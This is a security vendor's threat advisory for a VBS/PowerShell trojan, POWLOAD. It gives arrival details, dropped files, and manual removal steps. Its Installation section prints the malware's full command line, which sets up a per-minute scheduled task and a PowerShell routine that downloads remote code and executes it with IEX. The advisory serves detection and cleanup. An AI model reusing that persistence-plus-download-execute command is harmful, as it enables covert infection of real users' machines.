Trojan.VBS.POWLOAD.GFDH
Windows
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Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
3,145,729 bytes
VBS
Yes
18 Oct 2019
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- "%System%\cmd.exe" /c echo Set objShell = WScript.CreateObject("WScript.Shell"): iNumberOfArguments = WScript.Arguments.Count: counter = 0: While counter ^< iNumberOfArguments: args = args + " " + WScript.Arguments(counter): counter = counter + 1: Wend: args2 = Trim(args): args = Replace(args2, "##","'"): objShell.Run args, 0, False > %User Temp%\..\Platform.vbs & schtasks /create /F /sc MINUTE /tn PlatformTask /tr %^TEMP%"\..\Platform.vbs cmd /c powershell -c \"$i=0;$W=New-Object Net.WebClient;$c=##($R -eq $null -and $i -lt 3){$R=$W.DownloadString($c);If($R.contains(##Z/7##)){IEX $R;}$i++;Start-Sleep -s 1}\""
Other System Modifications
This Trojan deletes the following files:
- %Windows%\Tasks\PlatformTask.job
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
Dropping Routine
This Trojan drops the following files:
- %AppDataLocal%\Platform.vbs
- %All Users Profile%\Microsoft\Network\Downloader\qmgr1.dat
- %All Users Profile%\Microsoft\Network\Downloader\qmgr0.dat
(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). )
This report is generated via an automated analysis system.
SOLUTION
9.850
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Identify and terminate files detected as Trojan.VBS.POWLOAD.GFDH
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 3
Search and delete these components
- %AppDataLocal%\Platform.vbs
- %All Users Profile%\Microsoft\Network\Downloader\qmgr1.dat
- %All Users Profile%\Microsoft\Network\Downloader\qmgr0.dat
Step 4
Scan your computer with your Trend Micro product to delete files detected as Trojan.VBS.POWLOAD.GFDH. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
Step 5
Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.
- %Windows%\Tasks\PlatformTask.job
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